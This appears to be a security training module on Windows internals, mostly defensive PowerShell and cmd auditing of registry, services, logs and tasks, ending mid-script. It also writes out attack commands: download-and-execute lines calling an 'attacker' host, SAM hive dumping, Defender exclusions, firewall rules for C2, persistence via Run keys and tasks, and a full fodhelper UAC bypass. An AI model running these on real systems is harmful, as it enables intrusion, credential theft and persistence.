Stage 0.3 — Windows Fundamentals

┌──────────────────────────────────────────────────────────────┐
│                     USER MODE                                │
│                                                              │
│  ┌────────────────┐  ┌──────────────┐  ┌─────────────────┐  │
│  │  Win32 Apps    │  │ .NET Apps    │  │  UWP / Store    │  │
│  │  (notepad.exe) │  │  (C# code)   │  │  Apps           │  │
│  └───────┬────────┘  └──────┬───────┘  └────────┬────────┘  │
│          │                  │                   │            │
│  ┌───────▼──────────────────▼───────────────────▼────────┐  │
│  │              Subsystem DLLs                            │  │
│  │   kernel32.dll  advapi32.dll  user32.dll  ntdll.dll    │  │
│  └───────────────────────────┬────────────────────────────┘  │
│                              │  System Call Interface         │
├──────────────────────────────┼──────────────────────────────-┤
│                     KERNEL MODE                              │
│                              │                               │
│  ┌───────────────────────────▼────────────────────────────┐  │
│  │              Executive (ntoskrnl.exe)                  │  │
│  │  ┌───────────┐ ┌──────────┐ ┌──────────┐ ┌─────────┐  │  │
│  │  │ Process & │ │ Memory   │ │ I/O      │ │Security │  │  │
│  │  │ Thread Mgr│ │ Manager  │ │ Manager  │ │Reference│  │  │
│  │  ├───────────┤ ├──────────┤ ├──────────┤ │Monitor  │  │  │
│  │  │ Object    │ │ Cache    │ │ Plug&Play│ └─────────┘  │  │
│  │  │ Manager   │ │ Manager  │ │ Manager  │              │  │
│  │  └───────────┘ └──────────┘ └──────────┘              │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              Kernel (Dispatcher, Interrupts)            │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              HAL — Hardware Abstraction Layer           │  │
│  └────────────────────────────────────────────────────────┘  │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐    │
│  │         Kernel-Mode Drivers (win32k.sys, etc.)        │    │
│  └──────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────┘
│                     HARDWARE                                 │
└──────────────────────────────────────────────────────────────┘

# Verify ntoskrnl.exe is running
Get-Process | Where-Object {$_.Name -eq "System"}
# The "System" process (PID 4) is the kernel process

# There should be exactly one or two csrss.exe instances
# (one per active session — Session 0 for services, Session 1+ for users)
Get-Process csrss | Select-Object Id, SessionId, Path
# CRITICAL: csrss.exe must always run from C:\Windows\System32\
# Any csrss.exe running from another path is malware

# lsass.exe must always run from System32, owned by SYSTEM, one instance
Get-Process lsass | Select-Object Id, Path, StartTime
# Any lsass.exe not in System32 is an immediate incident

Session 0 — Services and System Processes
    svchost.exe (services)
    lsass.exe
    csrss.exe
    wininit.exe

Session 1 — First Interactive User
    explorer.exe
    your applications
    csrss.exe (own instance)

Session 2 — Second Interactive User (RDP, etc.)
    explorer.exe
    ...

Registry Root (Hives)
├── HKEY_LOCAL_MACHINE (HKLM)      — System-wide settings
│   ├── SOFTWARE                   — Installed software config
│   ├── SYSTEM                     — Hardware and driver config
│   │   └── CurrentControlSet
│   │       ├── Services           — Service configuration
│   │       └── Control
│   ├── SECURITY                   — Security policy (restricted)
│   └── SAM                        — Local account database (restricted)
│
├── HKEY_CURRENT_USER (HKCU)       — Current user's settings
│   ├── Software                   — Per-user software settings
│   ├── Environment                — User environment variables
│   └── ...
│
├── HKEY_USERS (HKU)               — All users' profiles
│   ├── .DEFAULT                   — Default profile
│   ├── S-1-5-18                   — SYSTEM account
│   ├── S-1-5-19                   — LOCAL SERVICE
│   ├── S-1-5-20                   — NETWORK SERVICE
│   └── S-1-5-21-...-1001          — User SID → their HKCU
│
├── HKEY_CLASSES_ROOT (HKCR)       — File associations, COM objects
└── HKEY_CURRENT_CONFIG (HKCC)     — Current hardware profile

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# 64-bit OS, 32-bit app compatibility keys:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

# Check all autorun locations
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Better: use Autoruns from Sysinternals — shows EVERYTHING
# https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
    └── ImagePath    → Path to the service executable
    └── Start        → 0=Boot, 1=System, 2=Auto, 3=Manual, 4=Disabled
    └── Type         → Service type
    └── ObjectName   → Account the service runs as

HKLM\SAM\SAM\Domains\Account\Users

HKLM\SYSTEM\CurrentControlSet\Control\LSA\JD
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Skew1
HKLM\SYSTEM\CurrentControlSet\Control\LSA\GBG
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Data

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

C:\Windows\AppCompat\Programs\Amcache.hve  (separate hive file, not inline)

C:\Users\<username>\NTUSER.DAT

# Attacker stores Base64-encoded payload in registry
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "Updater" `
    -Value "powershell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64_PAYLOAD>"

# If this key exists for a COM object:
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InprocServer32 = C:\malware.dll

# And a legitimate application loads this COM object,
# the malicious DLL is loaded into that application's process
# WITHOUT creating any autorun key or scheduled task

S-1-5-21-3623811015-3361044348-30300820-1013
│ │ │    └────────────────────────────────── RID (Relative ID - 1013 = user)
│ │ └─────────────────────────────────────── Domain/Machine identifier
│ └───────────────────────────────────────── NT Authority (5)
└─────────────────────────────────────────── SID revision (1)

S-1-1-0          Everyone
S-1-5-18         SYSTEM
S-1-5-32-544     BUILTIN\Administrators
S-1-5-32-545     BUILTIN\Users
S-1-5-32-546     BUILTIN\Guests

# Get current user's SID
[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value

# Get SID for any user
Get-LocalUser -Name "Administrator" | Select-Object Name, SID

# Convert SID to name
$objSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-...")
$objSID.Translate([System.Security.Principal.NTAccount])

# List all local groups
Get-LocalGroup

# Key groups:
# Administrators  — Members can do anything on the local machine
# Users           — Standard users
# Remote Desktop Users — Can connect via RDP
# Remote Management Users — Can connect via WinRM/PowerShell remoting
# Backup Operators — Can bypass file permissions for backup (dangerous if abused)
# Event Log Readers — Can read event logs without admin rights

# Check members of Administrators group
Get-LocalGroupMember -Group "Administrators"

# This is a critical check during post-exploitation:
# Who else has admin on this machine?

Scenario:
1. Attacker compromises a web server running as IIS AppPool
2. A domain admin connects to the server and their token is cached
3. With SeImpersonatePrivilege (which IIS workers have by default),
   the attacker duplicates the domain admin's token
4. Attacker creates a new process with the impersonated token
5. Now running as domain admin

# Check current token privileges
whoami /priv

# Dangerous privileges that enable privilege escalation:
# SeImpersonatePrivilege  → Potato attacks, token impersonation
# SeAssignPrimaryToken    → Assign tokens to new processes
# SeBackupPrivilege       → Read any file
# SeRestorePrivilege      → Write any file
# SeDebugPrivilege        → Debug (and inject into) any process including SYSTEM ones
# SeLoadDriverPrivilege   → Load kernel drivers → BYOVD attacks
# SeTakeOwnershipPrivilege → Take ownership of any object

# List all services with details
Get-Service | Select-Object Name, DisplayName, Status, StartType

# Get detailed service configuration
Get-WmiObject Win32_Service | 
    Select-Object Name, PathName, StartMode, State, StartName |
    Where-Object {$_.State -eq "Running"} |
    Sort-Object Name

# The StartName field is critical — it shows what account the service runs as
# Values you'll see: LocalSystem, NT AUTHORITY\LocalService, NT AUTHORITY\NetworkService,
# NT AUTHORITY\SYSTEM, or a specific domain/local account

# List all svchost instances and what services they host
Get-Process svchost | ForEach-Object {
    $pid = $_.Id
    $services = Get-WmiObject Win32_Service | Where-Object {$_.ProcessId -eq $pid}
    [PSCustomObject]@{
        PID = $pid
        Services = ($services.Name -join ", ")
        Path = $_.Path
    }
} | Format-Table -Wrap

# CRITICAL CHECKS for each svchost.exe:
# 1. Must run from C:\Windows\System32\svchost.exe
# 2. Must be spawned by services.exe
# 3. Must have -k <group_name> parameter
# Any svchost.exe that fails these checks is suspicious

Unquoted path: C:\Program Files\Vulnerable Service\service.exe

Windows searches in order:
1. C:\Program.exe          ← If this exists, it runs as SYSTEM!
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Service\service.exe

# Find unquoted service paths
Get-WmiObject Win32_Service | 
    Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '} |
    Select-Object Name, PathName, StartMode, StartName

# Find services where users can modify the binary
Get-WmiObject Win32_Service | ForEach-Object {
    $path = ($_.PathName -split '"')[1]
    if (!$path) { $path = ($_.PathName -split ' ')[0] }
    if ($path -and (Test-Path $path)) {
        $acl = Get-Acl $path
        $acl.Access | Where-Object {
            $_.IdentityReference -match "Everyone|BUILTIN\\Users|BUILTIN\\Authenticated" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | ForEach-Object {
            "$($_.name): $path writable by $($_.IdentityReference)"
        }
    }
}

# Command line equivalent with more detail:
Get-Process | Select-Object Name, Id, CPU, WorkingSet, 
    @{N='ParentPID';E={(Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").ParentProcessId}},
    Path | Sort-Object CPU -Descending

Windows Logs:
├── Application    — Application errors and information
├── Security       — Authentication, authorisation, policy changes
├── Setup          — Windows installation events
├── System         — OS component events
└── Forwarded Events — Aggregated from other machines

Applications and Services Logs:
├── Microsoft\Windows\PowerShell\Operational  ← Critical for threat hunting
├── Microsoft\Windows\Sysmon\Operational      ← Best Windows telemetry (if installed)
├── Microsoft\Windows\TaskScheduler\Operational
├── Microsoft\Windows\WMI-Activity\Operational
└── ... hundreds more

# Query specific event IDs
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4624, 4625
    StartTime = (Get-Date).AddDays(-1)
} | Select-Object TimeCreated, Id, Message | Format-List

# Find all failed logons in last 24 hours
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddDays(-1)} |
    ForEach-Object {
        $xml = [xml]$_.ToXml()
        [PSCustomObject]@{
            Time = $_.TimeCreated
            TargetUser = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'} | Select-Object -ExpandProperty '#text'
            WorkstationName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'WorkstationName'} | Select-Object -ExpandProperty '#text'
            IpAddress = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'
        }
    }

# Check if audit log was cleared (immediate red flag)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} |
    Select-Object TimeCreated, Message

Windows Security (GUI)
    ↓
Microsoft Defender Antivirus Service (WinDefend)
    ├── Real-time Protection Engine
    │   ├── IOAV (I/O Access Validation) — scans files on access
    │   ├── Behaviour Monitoring — watches process behaviour
    │   └── Network Inspection System (NIS)
    ├── Signature-based Detection
    │   └── VDM files (definition updates)
    ├── Cloud-based Protection (MAPS)
    │   └── Submits suspicious files to Microsoft for analysis
    ├── Controlled Folder Access — ransomware protection
    └── Attack Surface Reduction (ASR) Rules

PowerShell script execution path:
Script content → AMSI Provider (Defender) → Scan → Malicious? Block : Execute

# AMSI works by scanning content via AmsiScanBuffer() in amsi.dll
# Bypass approach 1 (patched, historical): Patch the return value
# Bypass approach 2: Reflection to set amsiInitFailed = true
# Bypass approach 3: Obfuscation to avoid signature patterns
# Bypass approach 4: Use .NET assemblies loaded in a way that doesn't invoke AMSI

# Defenders detect AMSI bypass attempts via:
# - PowerShell script block logging (Event ID 4104)
# - Memory patching of amsi.dll
# - Behavioural indicators of common bypass patterns

# Check current ASR rules status
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions

# Enable aggressive ASR rules (Audit mode first, then Block)
Set-MpPreference -AttackSurfaceReductionRules_Ids <GUID> -AttackSurfaceReductionRules_Actions AuditMode

# Check existing exclusions — attackers check this during post-exploitation
Get-MpPreference | Select-Object ExclusionPath, ExclusionProcess, ExclusionExtension

# Common attack technique: Add an exclusion for your malware's location
Set-MpPreference -ExclusionPath "C:\Users\Public\Tools"
# Now anything in that path will not be scanned

Admin user logs in:
    ├── Filtered Token (Medium integrity) → used for explorer.exe, applications
    └── Full Token (High integrity) → used only after UAC prompt consent

User double-clicks installer.exe
        ↓
Windows checks: does this need admin? (manifest, installer heuristics)
        ↓
UAC prompt displayed on Secure Desktop
(Secure Desktop: a separate desktop that user apps cannot interact with)
        ↓
User clicks Yes (or provides credentials if standard user)
        ↓
New elevated process created with High integrity token

Always notify (most secure)
    → Prompt for ALL changes, on secure desktop

Notify only when apps try to make changes (default)
    → Prompt for app changes on secure desktop
    → No prompt for Windows settings changes

Notify but not on secure desktop
    → Prompt displayed on normal desktop
    → Malware CAN spoof this by drawing over it or sending programmatic clicks

Never notify (worst)
    → UAC completely disabled
    → All processes run with full admin token
    → Equivalent to pre-Vista security model

# Check current UAC setting
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
    Select-Object EnableLUA, ConsentPromptBehaviorAdmin, PromptOnSecureDesktop
# EnableLUA = 1 means UAC is enabled
# ConsentPromptBehaviorAdmin: 2=prompt for credentials, 5=prompt for consent (default)
# PromptOnSecureDesktop: 1=secure desktop (default), 0=normal desktop (insecure)

1. Find an auto-elevating executable that loads a DLL from a user-writable location
2. Place malicious DLL in that location
3. Trigger the auto-elevating executable
4. DLL loads with elevated privileges, no UAC prompt

# fodhelper UAC bypass (educational, common in CTFs and real pentest assessments)
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(Default)" -Value "cmd.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Result: cmd.exe opens with High integrity (elevated) without UAC prompt
# Cleanup:
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Inbound Traffic → [Network Interface] → Windows Filtering Platform (WFP)
                                              ↓
                                    [Firewall Rules Engine]
                                              ↓
                               Allow? → Application receives data
                               Block? → Traffic dropped, optionally logged

# Check firewall status for all profiles
Get-NetFirewallProfile | Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction

# Enable/Disable (use carefully)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

# List all enabled inbound rules
Get-NetFirewallRule -Direction Inbound -Enabled True |
    Select-Object DisplayName, Action, Profile |
    Sort-Object DisplayName

# Find rules that allow inbound connections
Get-NetFirewallRule -Direction Inbound -Action Allow -Enabled True |
    Select-Object DisplayName, Profile

# Find rules for a specific port
Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} |
    Get-NetFirewallPortFilter | Where-Object {$_.LocalPort -eq '3389'} |
    ForEach-Object {Get-NetFirewallRule -AssociatedNetFirewallPortFilter $_} |
    Select-Object DisplayName, Direction, Action

# Create a rule (example: allow RDP from specific IP only)
New-NetFirewallRule -DisplayName "Allow RDP from Management" `
    -Direction Inbound `
    -Protocol TCP `
    -LocalPort 3389 `
    -RemoteAddress 192.168.1.100 `
    -Action Allow

# Disable firewall completely (requires admin)
netsh advfirewall set allprofiles state off

# Add a rule to allow a specific port (C2 communication)
netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow protocol=TCP localport=4444

# Open a port for a specific program
netsh advfirewall firewall add rule name="Updater" dir=in action=allow program="C:\malware.exe"

netsh advfirewall firewall add rule name="Google Chrome" dir=in action=allow program="C:\Users\user\AppData\Local\evil.exe"

# Check current execution policy
Get-ExecutionPolicy -List

# Policies (least to most restrictive):
# Unrestricted  — Run anything
# Bypass        — Nothing is blocked, no warnings
# RemoteSigned  — Local scripts OK, downloaded scripts need signature
# AllSigned     — All scripts must be signed
# Restricted    — No scripts allowed (default on consumer Windows)
# Undefined     — No policy set for this scope

# Bypass execution policy (does NOT require admin — this is by design)
powershell.exe -ExecutionPolicy Bypass -File script.ps1
powershell.exe -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

# Execution policy is not a security control
# It can be bypassed in at least 15 different ways

# PowerShell passes objects through the pipeline, not text
# This is fundamentally different from bash
Get-Process | Where-Object {$_.CPU -gt 10} | Sort-Object CPU -Descending | Select-Object Name, CPU, Id

# Each stage receives full .NET objects, not strings
# This makes filtering and manipulation far more powerful and accurate than bash text parsing

# Process and service investigation
Get-Process
Get-Service
Get-WmiObject Win32_Process  # More details than Get-Process

# Network investigation
Get-NetTCPConnection          # Active TCP connections
Get-NetUDPEndpoint            # UDP endpoints
Test-NetConnection -ComputerName target -Port 445  # Port test

# File system
Get-ChildItem -Path C:\ -Recurse -Force  # List everything including hidden
Get-Item -Path "HKLM:\SOFTWARE\..." -ErrorAction SilentlyContinue  # Registry
Get-Content C:\file.txt        # Read file
Get-FileHash C:\file.exe -Algorithm SHA256  # Hash a file

# User and group
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember -Group "Administrators"
whoami /all  # Current user, groups, and privileges

# Event logs
Get-WinEvent -LogName Security -MaxEvents 100
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-1)}

# Active Directory (if RSAT installed or on DC)
Get-ADUser -Filter * -Properties *
Get-ADGroupMember -Identity "Domain Admins"
Get-ADComputer -Filter * -Properties *

# Download and execute in memory (no file written to disk)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')

# Using Invoke-RestMethod
IEX (Invoke-RestMethod 'http://attacker/payload.ps1')

# Using certutil to download (LOLBin)
certutil -urlcache -split -f http://attacker/payload.exe C:\temp\payload.exe

# Using bitsadmin (LOLBin)
bitsadmin /transfer job http://attacker/payload.exe C:\temp\payload.exe

# Attackers encode payloads to evade signature detection
$command = 'Write-Host "Executed"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded

# Defenders decode these for analysis:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded))

# Enable script block logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name EnableScriptBlockLogging -Value 1 -Force

# Log location: Microsoft-Windows-PowerShell/Operational (Event ID 4104)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object {$_.Id -eq 4104} |
    Select-Object TimeCreated, Message |
    Format-List

# Enable transcription via policy
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -Name EnableTranscripting -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -Name OutputDirectory -Value "C:\PSTranscripts" -Force

:: System information
systeminfo
hostname
whoami
whoami /all         :: User, groups, and privileges
ipconfig /all       :: Network configuration
net user            :: List local users
net localgroup      :: List local groups
net localgroup Administrators  :: Who is in Administrators?

:: Process and network
tasklist /v         :: Process list with details
tasklist /svc       :: Services hosted in each process
netstat -ano        :: Active connections with PID
netstat -b          :: Which process owns each connection (requires admin)

:: Environment
set                 :: All environment variables
echo %PATH%
echo %COMPUTERNAME%
echo %USERNAME%
echo %USERDOMAIN%

:: Directory listing
dir /a /s C:\interesting_directory  :: All files including hidden, recursive
dir /r                              :: Show alternate data streams
type file.txt                       :: Read file
more file.txt                       :: Read file page by page

:: Find files
where /r C:\ *.ps1     :: Find all PowerShell scripts
where /r C:\ passwords.txt

:: File operations
copy source.txt dest.txt
move source.txt dest.txt
del file.txt
rmdir /s /q directory

:: Network connectivity
ping target_ip
ping -n 1 -w 1000 192.168.1.1   :: Quick ping (1 packet, 1 second timeout)
tracert target_ip

:: DNS
nslookup domain.com
nslookup -type=MX domain.com
nslookup -type=TXT domain.com

:: ARP cache (local network discovery)
arp -a

:: Routing
route print

:: Remote connectivity test
telnet target_ip port             :: Test if port is open (if telnet is installed)

:: Query registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query HKLM /f password /t REG_SZ /s  :: Search for "password" in all HKLM values

:: Add/modify (requires appropriate permissions)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\evil.exe" /f

:: Save and load hives
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive

:: Services
sc query                    :: List all services
sc query type= all state= all  :: All services including stopped
sc qc ServiceName           :: Query service configuration
sc start ServiceName
sc stop ServiceName
sc create MyService binPath= "C:\service.exe" start= auto

:: Processes
taskkill /PID 1234 /F       :: Force kill by PID
taskkill /IM notepad.exe /F :: Force kill by name

:: List all scheduled tasks
schtasks /query /fo LIST /v

:: Create a task (common persistence technique)
schtasks /create /tn "Windows Update" /tr "C:\evil.exe" /sc ONLOGON /ru SYSTEM

:: Delete a task
schtasks /delete /tn "TaskName" /f

<!-- Example task XML structure -->
<Task>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal>
      <UserId>S-1-5-18</UserId>  <!-- SYSTEM -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
</Task>

# PowerShell — create a SYSTEM-level task that runs at logon
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "Microsoft Edge Update" `
    -Action $action -Trigger $trigger -Principal $principal -Force

# List all tasks with full detail — look for anomalies
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Name = $task.TaskName
        Path = $task.TaskPath
        State = $task.State
        LastRun = $info.LastRunTime
        NextRun = $info.NextRunTime
        Actions = ($task.Actions | ForEach-Object {"$($_.Execute) $($_.Arguments)"}) -join " | "
        RunAs = $task.Principal.UserId
    }
} | Format-Table -Wrap

# Tasks created recently (last 7 days) — high suspicion
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698; StartTime=(Get-Date).AddDays(-7)} |
    Select-Object TimeCreated, Message

# Tasks with suspicious action paths
Get-ScheduledTask | 
    Where-Object {$_.Actions.Execute -match "powershell|cmd|wscript|cscript|mshta|regsvr32|rundll32"} |
    Select-Object TaskName, TaskPath, @{N='Action';E={$_.Actions.Execute}}, @{N='Args';E={$_.Actions.Arguments}}

Microsoft Update Servers (update.microsoft.com)
        ↓ (WSUS can intercept this in enterprise)
WSUS (Windows Server Update Services) — enterprise update management
        ↓
Windows Update Client (wuauserv service)
        ↓
Downloaded updates staged in C:\Windows\SoftwareDistribution\Download\
        ↓
Windows Module Installer (TrustedInstaller) applies updates
        ↓
C:\Windows\WinSxS\ (Component Store) updated
        ↓
Reboot may be required

# Check update status
Get-WindowsUpdateLog  # Parses ETW update logs into readable text

# Check installed updates
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

# Check for missing updates (requires PSWindowsUpdate module)
Install-Module PSWindowsUpdate
Get-WindowsUpdate

# Check which security patches are missing compared to Microsoft's catalog
# Use this in combination with vulnerability scanners

# Check the last time updates were checked/applied
(New-Object -ComObject "Microsoft.Update.AutoUpdate").Results

# Force update check
wuauclt.exe /detectnow
# Or on modern Windows:
UsoClient.exe StartScan

# Check Windows version and build for vulnerability research
[System.Environment]::OSVersion
(Get-ComputerInfo).WindowsVersion
(Get-ComputerInfo).OsHardwareAbstractionLayer

# Get OS version and all installed hotfixes for comparison against known vulnerabilities
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"

# Cross-reference with:
# - Microsoft Security Update Guide: msrc.microsoft.com
# - NIST NVD: nvd.nist.gov
# - Exploit-DB: exploit-db.com
# Tools: windows-exploit-suggester.py, WinPEAS, Sherlock.ps1

Registry          → Configuration storage, persistence mechanism
Services          → Long-running execution, privilege context
Scheduled Tasks   → Time/event-based execution, persistence
Token system      → Identity and privilege, impersonation attacks
UAC               → Privilege separation (not a security boundary)
Windows Firewall  → Network access control
Defender + AMSI   → Content inspection (bypassable but raises the bar)
Event Log         → The audit trail for everything above
PowerShell        → The administration interface (attacker's playground, defender's toolkit)

# Audit all autorun locations on your machine
# Install and run Autoruns from Sysinternals first
# Then manually verify the top findings:

# 1. Check all Run keys
$runPaths = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($path in $runPaths) {
    Write-Host "`n=== $path ===" -ForegroundColor Yellow
    Get-ItemProperty -Path $path -ErrorAction SilentlyContinue
}

# 2. For each entry, verify:
#    - Is the binary in an expected location?
#    - Is it digitally signed?
#    - Who is the publisher?
Get-AuthenticodeSignature "C:\path\to\executable.exe" | Select-Object Status, SignerCertificate

# 3. Check services for suspicious configurations
Get-WmiObject Win32_Service |
    Where-Object {$_.StartMode -eq 'Auto' -and $_.State -eq 'Running'} |
    Select-Object Name, PathName, StartName |
    Where-Object {$_.PathName -notmatch 'System32|SysWOW64'} |
    Format-Table -Wrap

# Build a mini-investigation from Event Logs

# 1. Find all logon events from the last 7 days
$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-7)
} -ErrorAction SilentlyContinue

Write-Host "Total logon events (7 days): $($logons.Count)"

# 2. Analyse logon types
$logons | ForEach-Object {
    $xml = [xml]$_.ToXml()
    $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'LogonType'} | 
        Select-Object -ExpandProperty '#text'
} | Group-Object | Sort-Object Count -Descending | 
    Format-Table -Property @{N='LogonType';E={$_.Name}}, Count

# 3. Find any suspicious process creation (4688 - requires audit policy)
Get-WinEvent -FilterHashtable @{
    LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-1)
} -ErrorAction SilentlyContinue | 
    Select-Object TimeCreated, Message | 
    Where-Object {$_.Message -match 'powershell|cmd|wscript|cscript|mshta'} |
    Format-List

# 4. Check if log was cleared (should return nothing on a clean system)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message

# Verify current integrity level before bypass
[System.Diagnostics.Process]::GetCurrentProcess() | ForEach-Object {
    $handle = $_.Handle
}
whoami /groups | findstr "Mandatory"
# Should show: Medium Mandatory Level

# fodhelper UAC bypass
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(Default)" -Value "cmd.exe" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# In the new cmd window that opens:
whoami /groups | findstr "Mandatory"
# Should now show: High Mandatory Level — elevated without UAC prompt

# Cleanup — always clean up after testing
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# 1. Enable Script Block Logging
$sbPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $sbPath -Force
New-ItemProperty -Path $sbPath -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD -Force

# 2. Run a test script that would look suspicious
Invoke-Expression "Write-Host 'This is a test of script block logging'"
[System.Convert]::FromBase64String("VGhpcyBpcyBiYXNlNjQ=")  # Decode base64

# 3. Find the logged event
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object {$_.Id -eq 4104} |
    Select-Object -First 5 |
    Select-Object TimeCreated, Message |
    Format-List

# 4. Understand what you see — the decoded content is logged, not just the encoded form

# Complete scheduled task audit
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $actions = $task.Actions | ForEach-Object {
        "$($_.Execute) $($_.Arguments)"
    }
    [PSCustomObject]@{
        Name      = $task.TaskName
        Path      = $task.TaskPath
        State     = $task.State
        RunAs     = $task.Principal.UserId
        Triggers  = ($task.Triggers | ForEach-Object {$_.GetType().Name}) -join ", "
        Actions   = $actions -join " | "
    }
} | Where-Object {
    # Flag potentially suspicious tasks
